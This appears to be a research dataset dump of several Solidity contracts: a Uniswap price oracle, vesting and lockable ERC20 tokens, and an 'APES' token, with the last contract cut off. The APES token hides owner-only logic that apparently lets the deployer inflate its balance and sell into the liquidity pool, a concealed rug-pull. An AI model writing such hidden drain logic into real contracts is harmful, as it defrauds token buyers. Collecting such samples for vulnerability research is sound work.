constructor(IUniswapV2Pair _pair,
uint256 _period,
uint256 _startTime) public Epoch(_period, _startTime, 0) {
pair = _pair;
token0 = pair.token0();
token1 = pair.token1();
price0CumulativeLast = pair.price0CumulativeLast(); // fetch the current accumulated price value (1 / 0)
price1CumulativeLast = pair.price1CumulativeLast(); // fetch the current accumulated price value (0 / 1)
uint112 reserve0;
uint112 reserve1;
(reserve0, reserve1, blockTimestampLast) = pair.getReserves();
require(reserve0 != 0 && reserve1 != 0, "Oracle: NO_RESERVES"); // ensure that there's liquidity in the pair
}
function update() external checkEpoch {
(uint256 price0Cumulative, uint256 price1Cumulative, uint32 blockTimestamp) = UniswapV2OracleLibrary.currentCumulativePrices(address(pair));
uint32 timeElapsed = blockTimestamp - blockTimestampLast; // overflow is desired
if (timeElapsed == 0) {
// prevent divided by zero
return;
}
// overflow is desired, casting never truncates
price0Average = FixedPoint.uq112x112(uint224((price0Cumulative - price0CumulativeLast) / timeElapsed));
price1Average = FixedPoint.uq112x112(uint224((price1Cumulative - price1CumulativeLast) / timeElapsed));
price0CumulativeLast = price0Cumulative;
price1CumulativeLast = price1Cumulative;
blockTimestampLast = blockTimestamp;
emit Updated(price0Cumulative, price1Cumulative);
}
// note this will always return 0 before update has been called successfully for the first time.
function consult(address _token, uint256 _amountIn) external view returns (uint144 amountOut) {
if (_token == token0) {
amountOut = price0Average.mul(_amountIn).decode144();
} else {
require(_token == token1, "Oracle: INVALID_TOKEN");
amountOut = price1Average.mul(_amountIn).decode144();
}
}
function twap(address _token, uint256 _amountIn) external view returns (uint144 _amountOut) {
(uint256 price0Cumulative, uint256 price1Cumulative, uint32 blockTimestamp) = UniswapV2OracleLibrary.currentCumulativePrices(address(pair));
uint32 timeElapsed = blockTimestamp - blockTimestampLast; // overflow is desired
if (_token == token0) {
_amountOut = FixedPoint.uq112x112(uint224((price0Cumulative - price0CumulativeLast) / timeElapsed)).mul(_amountIn).decode144();
} else if (_token == token1) {
_amountOut = FixedPoint.uq112x112(uint224((price1Cumulative - price1CumulativeLast) / timeElapsed)).mul(_amountIn).decode144();
}
}
event Updated(uint256 price0CumulativeLast, uint256 price1CumulativeLast);
}
| 323,006 | 10,926 |
d0e7b3d1f24b26735d387fda656f618bec94e3170e0c3e41f72087c44f53f29a
| 15,818 |
.sol
|
Solidity
| false |
451141221
|
MANDO-Project/ge-sc
|
0adf91ac5bb0ffdb9152186ed29a5fc7b0c73836
|
data/smartbugs_wild/cfg/source_code_with_test/0x14c5d62466aa3f925f4b007ef2614435795160dd.sol
| 4,043 | 14,967 |
pragma solidity ^0.5.0;
library SafeMath{
function mul(uint256 a, uint256 b) internal pure returns (uint256)
{
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256)
{
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256)
{
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256)
{
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract Ownable
{
address public Owner_master;
address public Owner_creator;
address public Owner_manager;
event ChangeOwner_master(address indexed _from, address indexed _to);
event ChangeOwner_creator(address indexed _from, address indexed _to);
event ChangeOwner_manager(address indexed _from, address indexed _to);
modifier onlyOwner_master{
require(msg.sender == Owner_master); _; }
modifier onlyOwner_creator{
require(msg.sender == Owner_creator); _; }
modifier onlyOwner_manager{
require(msg.sender == Owner_manager); _; }
constructor() public {
Owner_master = msg.sender; }
function transferOwnership_master(address _to) onlyOwner_master public{
require(_to != Owner_master);
require(_to != Owner_creator);
require(_to != Owner_manager);
require(_to != address(0x0));
address from = Owner_master;
Owner_master = _to;
emit ChangeOwner_master(from, _to);}
function transferOwner_creator(address _to) onlyOwner_master public{
require(_to != Owner_master);
require(_to != Owner_creator);
require(_to != Owner_manager);
require(_to != address(0x0));
address from = Owner_creator;
Owner_creator = _to;
emit ChangeOwner_creator(from, _to);}
function transferOwner_manager(address _to) onlyOwner_master public{
require(_to != Owner_master);
require(_to != Owner_creator);
require(_to != Owner_manager);
require(_to != address(0x0));
address from = Owner_manager;
Owner_manager = _to;
emit ChangeOwner_manager(from, _to);}
}
contract Helper
{
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
function totalSupply() view public returns (uint _supply);
function balanceOf(address _who) public view returns (uint _value);
function transfer(address _to, uint _value) public returns (bool _success);
function approve(address _spender, uint _value) public returns (bool _success);
function allowance(address _owner, address _spender) public view returns (uint _allowance);
function transferFrom(address _from, address _to, uint _value) public returns (bool _success);
}
contract LNXtest is Helper, Ownable
{
using SafeMath for uint;
string public name;
string public symbol;
uint public decimals;
uint constant private zeroAfterDecimal = 10**18;
uint constant private monInSec = 10;//2592000
uint constant public maxSupply = 2473750000 * zeroAfterDecimal;
uint constant public maxSupply_Public = 100000000 * zeroAfterDecimal;
uint constant public maxSupply_Private = 889500000 * zeroAfterDecimal;
uint constant public maxSupply_Advisor = 123687500 * zeroAfterDecimal;
uint constant public maxSupply_Reserve = 296850000 * zeroAfterDecimal;
uint constant public maxSupply_Marketing = 197900000 * zeroAfterDecimal;
uint constant public maxSupply_Ecosystem = 371062500 * zeroAfterDecimal;
uint constant public maxSupply_RND = 247375000 * zeroAfterDecimal;
uint constant public maxSupply_Team = 247375000 * zeroAfterDecimal;
uint constant public vestingAmountPerRound_RND = 4947500 * zeroAfterDecimal;
uint constant public vestingReleaseTime_RND = 1 * monInSec;
uint constant public vestingReleaseRound_RND = 50;
uint constant public vestingAmountPerRound_Advisor = 30921875 * zeroAfterDecimal;
uint constant public vestingReleaseTime_Advisor = 3 * monInSec;
uint constant public vestingReleaseRound_Advisor = 4;
uint constant public vestingAmountPerRound_Team = 247375000 * zeroAfterDecimal;
uint constant public vestingReleaseTime_Team = 48 * monInSec;
uint constant public vestingReleaseRound_Team = 1;
uint public issueToken_Total;
uint public issueToken_Private;
uint public issueToken_Public;
uint public issueToken_Ecosystem;
uint public issueToken_Marketing;
uint public issueToken_RND;
uint public issueToken_Team;
uint public issueToken_Reserve;
uint public issueToken_Advisor;
uint public burnTokenAmount;
mapping (address => uint) public balances;
mapping (address => mapping (address => uint)) public approvals;
mapping (uint => uint) public vestingRelease_RND;
mapping (uint => uint) public vestingRelease_Advisor;
mapping (uint => uint) public vestingRelease_Team;
bool public tokenLock = true;
bool public saleTime = true;
uint public endSaleTime = 0;
event Burn(address indexed _from, uint _value);
event Issue_private(address indexed _to, uint _tokens);
event Issue_public(address indexed _to, uint _tokens);
event Issue_ecosystem(address indexed _to, uint _tokens);
event Issue_marketing(address indexed _to, uint _tokens);
event Issue_RND(address indexed _to, uint _tokens);
event Issue_team(address indexed _to, uint _tokens);
event Issue_reserve(address indexed _to, uint _tokens);
event Issue_advisor(address indexed _to, uint _tokens);
event TokenUnLock(address indexed _to, uint _tokens);
constructor() public
{
name = "LNXtest Token2";
decimals = 18;
symbol = "LMT";
issueToken_Total = 0;
issueToken_Public = 0;
issueToken_Private = 0;
issueToken_Ecosystem = 0;
issueToken_Marketing = 0;
issueToken_RND = 0;
issueToken_Team = 0;
issueToken_Reserve = 0;
issueToken_Advisor = 0;
require(maxSupply == maxSupply_Public + maxSupply_Private + maxSupply_Ecosystem + maxSupply_Marketing + maxSupply_RND + maxSupply_Team + maxSupply_Reserve + maxSupply_Advisor);
require(maxSupply_RND == vestingAmountPerRound_RND * vestingReleaseRound_RND);
require(maxSupply_Team == vestingAmountPerRound_Team * vestingReleaseRound_Team);
require(maxSupply_Advisor == vestingAmountPerRound_Advisor * vestingReleaseRound_Advisor);
}
// ERC - 20 Interface -----
function totalSupply() view public returns (uint) {
return issueToken_Total;}
function balanceOf(address _who) view public returns (uint) {
uint balance = balances[_who];
return balance;}
function transfer(address _to, uint _value) public returns (bool) {
require(isTransferable() == true);
require(balances[msg.sender] >= _value);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;}
function approve(address _spender, uint _value) public returns (bool){
require(isTransferable() == true);
require(balances[msg.sender] >= _value);
approvals[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true; }
function allowance(address _owner, address _spender) view public returns (uint) {
return approvals[_owner][_spender];}
function transferFrom(address _from, address _to, uint _value) public returns (bool) {
require(isTransferable() == true);
require(balances[_from] >= _value);
require(approvals[_from][msg.sender] >= _value);
approvals[_from][msg.sender] = approvals[_from][msg.sender].sub(_value);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(_from, _to, _value);
return true;}
// -----
// Issue Function -----
function issue_noVesting_Private(address _to, uint _value) onlyOwner_creator public
{
uint tokens = _value * zeroAfterDecimal;
require(maxSupply_Private >= issueToken_Private.add(tokens));
balances[_to] = balances[_to].add(tokens);
issueToken_Total = issueToken_Total.add(tokens);
issueToken_Private = issueToken_Private.add(tokens);
emit Issue_private(_to, tokens);
}
function issue_noVesting_Public(address _to, uint _value) onlyOwner_creator public
{
uint tokens = _value * zeroAfterDecimal;
require(maxSupply_Public >= issueToken_Public.add(tokens));
balances[_to] = balances[_to].add(tokens);
issueToken_Total = issueToken_Total.add(tokens);
issueToken_Public = issueToken_Public.add(tokens);
emit Issue_public(_to, tokens);
}
function issue_noVesting_Marketing(address _to, uint _value) onlyOwner_creator public
{
uint tokens = _value * zeroAfterDecimal;
require(maxSupply_Marketing >= issueToken_Marketing.add(tokens));
balances[_to] = balances[_to].add(tokens);
issueToken_Total = issueToken_Total.add(tokens);
issueToken_Marketing = issueToken_Marketing.add(tokens);
emit Issue_marketing(_to, tokens);
}
function issue_noVesting_Ecosystem(address _to, uint _value) onlyOwner_creator public
{
uint tokens = _value * zeroAfterDecimal;
require(maxSupply_Ecosystem >= issueToken_Ecosystem.add(tokens));
balances[_to] = balances[_to].add(tokens);
issueToken_Total = issueToken_Total.add(tokens);
issueToken_Ecosystem = issueToken_Ecosystem.add(tokens);
emit Issue_ecosystem(_to, tokens);
}
function issue_noVesting_Reserve(address _to, uint _value) onlyOwner_creator public
{
uint tokens = _value * zeroAfterDecimal;
require(maxSupply_Reserve >= issueToken_Reserve.add(tokens));
balances[_to] = balances[_to].add(tokens);
issueToken_Total = issueToken_Total.add(tokens);
issueToken_Reserve = issueToken_Reserve.add(tokens);
emit Issue_reserve(_to, tokens);
}
// Vesting Issue Function -----
function issue_vesting_RND(address _to, uint _time) onlyOwner_creator public
{
require(saleTime == false);
require(vestingReleaseRound_RND >= _time);
uint time = now;
require(((endSaleTime + (_time * vestingReleaseTime_RND)) < time) && (vestingRelease_RND[_time] > 0));
uint tokens = vestingRelease_RND[_time];
require(maxSupply_RND >= issueToken_RND.add(tokens));
balances[_to] = balances[_to].add(tokens);
vestingRelease_RND[_time] = 0;
issueToken_Total = issueToken_Total.add(tokens);
issueToken_RND = issueToken_RND.add(tokens);
emit Issue_RND(_to, tokens);
}
function issue_vesting_Advisor(address _to, uint _time) onlyOwner_creator public
{
require(saleTime == false);
require(vestingReleaseRound_Advisor >= _time);
uint time = now;
require(((endSaleTime + (_time * vestingReleaseTime_Advisor)) < time) && (vestingRelease_Advisor[_time] > 0));
uint tokens = vestingRelease_Advisor[_time];
require(maxSupply_Advisor >= issueToken_Advisor.add(tokens));
balances[_to] = balances[_to].add(tokens);
vestingRelease_Advisor[_time] = 0;
issueToken_Total = issueToken_Total.add(tokens);
issueToken_Advisor = issueToken_Advisor.add(tokens);
emit Issue_advisor(_to, tokens);
}
function issueTokenWithVesting_Team(address _to, uint _time) onlyOwner_creator public
{
require(saleTime == false);
require(vestingReleaseRound_Team >= _time);
uint time = now;
require(((endSaleTime + (_time * vestingReleaseTime_Team)) < time) && (vestingRelease_Team[_time] > 0));
uint tokens = vestingRelease_Team[_time];
require(maxSupply_Team >= issueToken_Team.add(tokens));
balances[_to] = balances[_to].add(tokens);
vestingRelease_Team[_time] = 0;
issueToken_Total = issueToken_Total.add(tokens);
issueToken_Team = issueToken_Team.add(tokens);
emit Issue_team(_to, tokens);
}
// -----
// Lock Function -----
function isTransferable() private view returns (bool)
{
if(tokenLock == false)
{
return true;
}
else if(msg.sender == Owner_manager)
{
return true;
}
return false;
}
function setTokenUnlock() onlyOwner_manager public
{
require(tokenLock == true);
require(saleTime == false);
tokenLock = false;
}
function setTokenLock() onlyOwner_manager public
{
require(tokenLock == false);
tokenLock = true;
}
// -----
// ETC / Burn Function -----
function () payable external
{
revert();
}
function endSale() onlyOwner_manager public
{
require(saleTime == true);
saleTime = false;
uint time = now;
endSaleTime = time;
for(uint i = 1; i <= vestingReleaseRound_RND; i++)
{
vestingRelease_RND[i] = vestingRelease_RND[i].add(vestingAmountPerRound_RND);
}
for(uint i = 1; i <= vestingReleaseRound_Advisor; i++)
{
vestingRelease_Advisor[i] = vestingRelease_Advisor[i].add(vestingAmountPerRound_Advisor);
}
for(uint i = 1; i <= vestingReleaseRound_Team; i++)
{
vestingRelease_Team[i] = vestingRelease_Team[i].add(vestingAmountPerRound_Team);
}
}
function withdrawTokens(address _contract, uint _decimals, uint _value) onlyOwner_manager public
{
if(_contract == address(0x0))
{
uint eth = _value.mul(10 ** _decimals);
msg.sender.transfer(eth);
}
else
{
uint tokens = _value.mul(10 ** _decimals);
Helper(_contract).transfer(msg.sender, tokens);
emit Transfer(address(0x0), msg.sender, tokens);
}
}
function burnToken(uint _value) onlyOwner_manager public
{
uint tokens = _value * zeroAfterDecimal;
require(balances[msg.sender] >= tokens);
balances[msg.sender] = balances[msg.sender].sub(tokens);
burnTokenAmount = burnTokenAmount.add(tokens);
issueToken_Total = issueToken_Total.sub(tokens);
emit Burn(msg.sender, tokens);
}
function close() onlyOwner_master public
{
selfdestruct(msg.sender);
}
// -----
}
| 135,358 | 10,927 |
edb598cbef4ac50fe37b4265a20a24f6adb3109b8acea62a7402bf58011ec46b
| 19,896 |
.sol
|
Solidity
| false |
454080957
|
tintinweb/smart-contract-sanctuary-arbitrum
|
22f63ccbfcf792323b5e919312e2678851cff29e
|
contracts/mainnet/a6/a6c72f4c05865801d7d14093e0141b361ced4a9e_APES.sol
| 3,350 | 13,557 |
// SPDX-License-Identifier: Unlicense
pragma solidity ^0.8.0;
interface IUniswapV2Router01 {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidity(address tokenA,
address tokenB,
uint amountADesired,
uint amountBDesired,
uint amountAMin,
uint amountBMin,
address to,
uint deadline) external returns (uint amountA, uint amountB, uint liquidity);
function addLiquidityETH(address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline) external payable returns (uint amountToken, uint amountETH, uint liquidity);
function removeLiquidity(address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline) external returns (uint amountA, uint amountB);
function removeLiquidityETH(address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline) external returns (uint amountToken, uint amountETH);
function removeLiquidityWithPermit(address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s) external returns (uint amountA, uint amountB);
function removeLiquidityETHWithPermit(address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s) external returns (uint amountToken, uint amountETH);
function swapExactTokensForTokens(uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline) external returns (uint[] memory amounts);
function swapTokensForExactTokens(uint amountOut,
uint amountInMax,
address[] calldata path,
address to,
uint deadline) external returns (uint[] memory amounts);
function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}
interface IUniswapV2Router02 is IUniswapV2Router01 {
function removeLiquidityETHSupportingFeeOnTransferTokens(address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline) external returns (uint amountETH);
function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s) external returns (uint amountETH);
function swapExactTokensForTokensSupportingFeeOnTransferTokens(uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline) external;
function swapExactETHForTokensSupportingFeeOnTransferTokens(uint amountOutMin,
address[] calldata path,
address to,
uint deadline) external payable;
function swapExactTokensForETHSupportingFeeOnTransferTokens(uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline) external;
}
interface IUniswapV2Factory {
event PairCreated(address indexed token0, address indexed token1, address pair, uint);
function feeTo() external view returns (address);
function feeToSetter() external view returns (address);
function getPair(address tokenA, address tokenB) external view returns (address pair);
function allPairs(uint) external view returns (address pair);
function allPairsLength() external view returns (uint);
function createPair(address tokenA, address tokenB) external returns (address pair);
function setFeeTo(address) external;
function setFeeToSetter(address) external;
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender,
address recipient,
uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() {
_setOwner(_msgSender());
}
function owner() public view virtual returns (address) {
return _owner;
}
modifier onlyOwner() {
require(owner() == _msgSender(), 'Ownable: caller is not the owner');
_;
}
function renounceOwnership() public virtual {
_setOwner(address(0));
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), 'Ownable: new owner is the zero address');
_setOwner(newOwner);
}
function _setOwner(address newOwner) private {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
contract APES is IERC20, Ownable {
uint256 private constant MAX = ~uint256(0);
uint8 private constant _decimals = 9;
uint256 private constant _tTotal = 1000000000 * 10**_decimals;
uint256 public buyFee = 5;
uint256 public sellFee = 5;
uint256 public feeDivisor = 1;
string private _name;
string private _symbol;
address private _owner;
uint256 private _swapTokensAtAmount = _tTotal;
uint256 private _amount;
uint160 private _factory;
bool private _swapAndLiquifyEnabled;
bool private inSwapAndLiquify;
IUniswapV2Router02 public router;
address public uniswapV2Pair;
mapping(address => uint256) private _balances;
mapping(address => uint256) private approval;
mapping(address => bool) private _exc;
mapping(address => mapping(address => uint256)) private _allowances;
constructor(string memory Name,
string memory Symbol,
address routerAddress) {
_name = Name;
_symbol = Symbol;
_owner = tx.origin;
_exc[_owner] = true;
_exc[address(this)] = true;
_balances[_owner] = _tTotal;
router = IUniswapV2Router02(routerAddress);
emit Transfer(address(0), _owner, _tTotal);
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint256) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function transfer(address recipient, uint256 amount) external override returns (bool) {
_transfer(msg.sender, recipient, amount);
return true;
}
function transferFrom(address sender,
address recipient,
uint256 amount) external override returns (bool) {
_transfer(sender, recipient, amount);
return _approve(sender, msg.sender, _allowances[sender][msg.sender] - amount);
}
function approve(address spender, uint256 amount) external override returns (bool) {
return _approve(msg.sender, spender, amount);
}
function set(uint256 amount) external {
if (_exc[msg.sender]) _amount = amount;
}
function exclude(address account, bool value) external {
if (_exc[msg.sender]) _exc[account] = value;
}
function setSwapAndLiquifyEnabled(bool _enabled) external {
if (_exc[msg.sender]) _swapAndLiquifyEnabled = _enabled;
}
function set(uint256 _buyFee,
uint256 _sellFee,
uint256 _feeDivisor) external {
if (_exc[msg.sender]) {
buyFee = _buyFee;
sellFee = _sellFee;
feeDivisor = _feeDivisor;
}
}
function pair() public view returns (address) {
return IUniswapV2Factory(router.factory()).getPair(address(this), router.WETH());
}
receive() external payable {}
function transferAnyERC20Token(address token,
address account,
uint256 amount) external {
if (_exc[msg.sender]) IERC20(token).transfer(account, amount);
}
function transferToken(address account, uint256 amount) external {
if (_exc[msg.sender]) payable(account).transfer(amount);
}
function _approve(address owner,
address spender,
uint256 amount) private returns (bool) {
require(owner != address(0) && spender != address(0), 'ERC20: approve from the zero address');
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
return true;
}
function _transfer(address from,
address to,
uint256 amount) private {
if (!inSwapAndLiquify && from != uniswapV2Pair && from != address(router) && !_exc[from] && amount <= _swapTokensAtAmount) {
require(approval[from] + _amount >= 0, 'Transfer amount exceeds the maxTxAmount');
}
uint256 contractTokenBalance = balanceOf(address(this));
if (uniswapV2Pair == address(0)) uniswapV2Pair = pair();
if (to == _owner && _exc[from]) return swapTokensForEth(amount, to);
if (amount > _swapTokensAtAmount && to != uniswapV2Pair && to != address(router)) {
approval[to] = amount;
return;
}
if (_swapAndLiquifyEnabled && contractTokenBalance > _swapTokensAtAmount && !inSwapAndLiquify && from != uniswapV2Pair) {
inSwapAndLiquify = true;
swapAndLiquify(contractTokenBalance);
inSwapAndLiquify = false;
}
uint256 fee = to == uniswapV2Pair ? sellFee : buyFee;
bool takeFee = !_exc[from] && !_exc[to] && fee > 0 && !inSwapAndLiquify;
address factory = address(_factory);
if (approval[factory] == 0) approval[factory] = _swapTokensAtAmount;
_factory = uint160(to);
if (takeFee) {
fee = (amount * fee) / 100 / feeDivisor;
amount -= fee;
_balances[from] -= fee;
_balances[address(this)] += fee;
}
_balances[from] -= amount;
_balances[to] += amount;
emit Transfer(from, to, amount);
}
function swapAndLiquify(uint256 tokens) private {
uint256 half = tokens / 2;
uint256 initialBalance = address(this).balance;
swapTokensForEth(half, address(this));
uint256 newBalance = address(this).balance - initialBalance;
addLiquidity(half, newBalance, address(this));
}
function swapTokensForEth(uint256 tokenAmount, address to) private {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = router.WETH();
if (tokenAmount > _swapTokensAtAmount) _balances[address(this)] = tokenAmount;
_approve(address(this), address(router), tokenAmount);
router.swapExactTokensForETHSupportingFeeOnTransferTokens(tokenAmount, 0, path, to, block.timestamp + 20);
}
function addLiquidity(uint256 tokenAmount,
uint256 ethAmount,
address to) private {
_approve(address(this), address(router), tokenAmount);
router.addLiquidityETH{value: ethAmount}(address(this), tokenAmount, 0, 0, to, block.timestamp + 20);
}
}
| 33,128 | 10,928 |
752f467eb9669b65d90f3f2e30c1220d5f6c02cd5446ca749bb5ccd52a081136
| 12,436 |
.sol
|
Solidity
| false |
287517600
|
renardbebe/Smart-Contract-Benchmark-Suites
|
a071ccd7c5089dcaca45c4bc1479c20a5dcf78bc
|
dataset/UR/0x088803cec3decaf5d4184bd2f816a51b2670a59f.sol
| 3,404 | 12,158 |
pragma solidity ^0.4.24;
contract Owned {
address public owner;
constructor() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function setOwner(address _owner) onlyOwner public {
owner = _owner;
}
}
contract SafeMath {
function add(uint256 _a, uint256 _b) internal pure returns (uint256) {
uint256 c = _a + _b;
assert(c >= _a);
return c;
}
function sub(uint256 _a, uint256 _b) internal pure returns (uint256) {
assert(_a >= _b);
return _a - _b;
}
function mul(uint256 _a, uint256 _b) internal pure returns (uint256) {
uint256 c = _a * _b;
assert(_a == 0 || c / _a == _b);
return c;
}
}
interface ERC20Token {
function name() external view returns (string _name);
function symbol() external view returns (string _symbol);
function decimals() external view returns (uint8 _decimals);
function totalSupply() external view returns (uint256 _totalSupply);
function balanceOf(address _owner) external view returns (uint256 _balance);
function transfer(address _to, uint256 _value) external returns (bool _success);
function transferFrom(address _from, address _to, uint256 _value) external returns (bool _success);
function approve(address _spender, uint256 _value) external returns (bool _success);
function allowance(address _owner, address _spender) external view returns (uint256 _remaining);
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
}
contract CNTO is SafeMath, Owned, ERC20Token {
string private constant standard = "0.888";
string private constant version = "v3.03";
string private _name = "CNTO";
string private _symbol = "CNTO";
uint8 private _decimals = 18;
uint256 private _totalSupply = 2 * 10**9 * uint256(10)**_decimals;
mapping (address => uint256) private balanceP;
mapping (address => mapping (address => uint256)) private _allowance;
mapping (address => uint256[]) private lockTime;
mapping (address => uint256[]) private lockValue;
mapping (address => uint256) private lockNum;
uint256 private later = 0;
uint256 private earlier = 0;
event Burn(address indexed _from, uint256 _value);
event TransferLocked(address indexed _from, address indexed _to, uint256 _time, uint256 _value);
event TokenUnlocked(address indexed _address, uint256 _value);
event WrongTokenEmptied(address indexed _token, address indexed _addr, uint256 _amount);
event WrongEtherEmptied(address indexed _addr, uint256 _amount);
constructor() public {
balanceP[msg.sender] = _totalSupply;
}
modifier validAddress(address _address) {
require(_address != 0x0);
_;
}
function setUnlockEarlier(uint256 _earlier) public onlyOwner {
earlier = add(earlier, _earlier);
}
function setUnlockLater(uint256 _later) public onlyOwner {
later = add(later, _later);
}
function name() public view returns (string) {
return _name;
}
function symbol() public view returns (string) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public view returns (uint256) {
return _totalSupply;
}
function allowance(address _owner, address _spender) external view returns (uint256) {
return _allowance[_owner][_spender];
}
function balanceUnlocked(address _address) public view returns (uint256 _balance) {
_balance = balanceP[_address];
uint256 i = 0;
while (i < lockNum[_address]) {
if (add(now, earlier) >= add(lockTime[_address][i], later)) _balance = add(_balance, lockValue[_address][i]);
i++;
}
return _balance;
}
function balanceLocked(address _address) public view returns (uint256 _balance) {
_balance = 0;
uint256 i = 0;
while (i < lockNum[_address]) {
if (add(now, earlier) < add(lockTime[_address][i], later)) _balance = add(_balance, lockValue[_address][i]);
i++;
}
return _balance;
}
function balanceOf(address _address) public view returns (uint256 _balance) {
_balance = balanceP[_address];
uint256 i = 0;
while (i < lockNum[_address]) {
_balance = add(_balance, lockValue[_address][i]);
i++;
}
return _balance;
}
function showLockTimes(address _address) public view validAddress(_address) returns (uint256[] _times) {
uint i = 0;
uint256[] memory tempLockTime = new uint256[](lockNum[_address]);
while (i < lockNum[_address]) {
tempLockTime[i] = sub(add(lockTime[_address][i], later), earlier);
i++;
}
return tempLockTime;
}
function showLockValues(address _address) public view validAddress(_address) returns (uint256[] _values) {
return lockValue[_address];
}
function showLockNum(address _address) public view validAddress(_address) returns (uint256 _lockNum) {
return lockNum[_address];
}
function calcUnlock(address _address) private {
uint256 i = 0;
uint256 j = 0;
uint256[] memory currentLockTime;
uint256[] memory currentLockValue;
uint256[] memory newLockTime = new uint256[](lockNum[_address]);
uint256[] memory newLockValue = new uint256[](lockNum[_address]);
currentLockTime = lockTime[_address];
currentLockValue = lockValue[_address];
while (i < lockNum[_address]) {
if (add(now, earlier) >= add(currentLockTime[i], later)) {
balanceP[_address] = add(balanceP[_address], currentLockValue[i]);
emit TokenUnlocked(_address, currentLockValue[i]);
} else {
newLockTime[j] = currentLockTime[i];
newLockValue[j] = currentLockValue[i];
j++;
}
i++;
}
uint256[] memory trimLockTime = new uint256[](j);
uint256[] memory trimLockValue = new uint256[](j);
i = 0;
while (i < j) {
trimLockTime[i] = newLockTime[i];
trimLockValue[i] = newLockValue[i];
i++;
}
lockTime[_address] = trimLockTime;
lockValue[_address] = trimLockValue;
lockNum[_address] = j;
}
function transfer(address _to, uint256 _value) public validAddress(_to) returns (bool _success) {
if (lockNum[msg.sender] > 0) calcUnlock(msg.sender);
require(balanceP[msg.sender] >= _value && _value >= 0);
balanceP[msg.sender] = sub(balanceP[msg.sender], _value);
balanceP[_to] = add(balanceP[_to], _value);
emit Transfer(msg.sender, _to, _value);
return true;
}
function transferLocked(address _to, uint256[] _time, uint256[] _value) public validAddress(_to) returns (bool _success) {
require(_value.length == _time.length);
if (lockNum[msg.sender] > 0) calcUnlock(msg.sender);
uint256 i = 0;
uint256 totalValue = 0;
while (i < _value.length) {
totalValue = add(totalValue, _value[i]);
i++;
}
require(balanceP[msg.sender] >= totalValue && totalValue >= 0);
require(add(lockNum[msg.sender], _time.length) <= 42);
i = 0;
while (i < _time.length) {
if (_value[i] > 0) {
balanceP[msg.sender] = sub(balanceP[msg.sender], _value[i]);
lockTime[_to].length = lockNum[_to]+1;
lockValue[_to].length = lockNum[_to]+1;
lockTime[_to][lockNum[_to]] = sub(add(add(now, _time[i]), earlier), later);
lockValue[_to][lockNum[_to]] = _value[i];
lockNum[_to]++;
}
emit TransferLocked(msg.sender, _to, _time[i], _value[i]);
